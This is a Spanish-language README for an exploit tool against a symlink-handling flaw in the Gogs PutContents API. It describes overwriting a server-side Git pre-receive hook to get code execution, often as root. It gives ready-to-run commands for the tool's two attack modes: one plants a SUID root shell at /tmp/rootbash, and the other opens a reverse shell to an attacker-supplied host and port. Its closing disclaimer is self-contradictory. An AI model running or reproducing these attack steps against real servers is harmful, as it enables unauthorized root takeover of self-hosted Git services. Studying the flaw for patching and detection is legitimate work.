
El manejo incorrecto de enlaces simbólicos en la API PutContents en Gogs permite la Ejecución Local de Código.
El manejo inadecuado de enlaces simbólicos en la API PutContents de Gogs permite la ejecución local de código.
Este repositorio contiene un exploit de nivel profesional para una vulnerabilidad crítica en versiones de Gogs anteriores a la 0.13.0. El exploit aprovecha una falla lógica donde la API de Gogs no valida los tipos de archivo al actualizar el contenido del repositorio. Al inyectar un enlace simbólico que apunta a un hook de Git del lado del servidor (pre-receive), un usuario autenticado puede sobrescribir el contenido del hook con un script malicioso. Las operaciones posteriores de push de Git activan la ejecución de este script en el contexto del usuario que ejecuta el servicio de Gogs (normalmente root).
Inyección de Enlace Simbólico: El atacante sube un enlace simbólico que apunta a hooks internos del repositorio (p. ej., /root/gogs-repositories//.git/hooks/pre-receive).
Sobrescritura vía API: La API de Gogs permite actualizar el contenido del enlace simbólico. Debido a que el sistema operativo sigue el enlace durante la operación de escritura, el hook interno de Git es sobrescrito.
RCE / Escalada de Privilegios: Un push de Git posterior activa el hook pre-receive. Si Gogs está configurado con RUN_USER = root, el atacante obtiene control total del sistema.
Requisitos
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
Después de la ejecución, obtén acceso root en el objetivo:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
Esta herramienta es solo para fines educativos y auditorías de seguridad autorizadas. El autor no se responsabiliza por ningún uso indebido o daño causado por esta herramienta en sistemas que posees o sobre los cuales tienes permiso explícito para realizar pruebas.
| Argumento | Obligatorio | Descripción |
|---|
--url | Sí | La URL base de la instancia de Gogs (p. ej., http://127.0.0.1:3001). |
--user | Sí | Nombre de usuario válido para la autenticación. |
--pass | Sí | Contraseña válida para el usuario especificado. |
--mode | No | Modo de explotación: suid (crea /tmp/rootbash) o rev (shell inversa). |
--lhost | No | Dirección IP local para la callback del shell inversa. |
--lport | No | Puerto local para el listener del shell inversa. |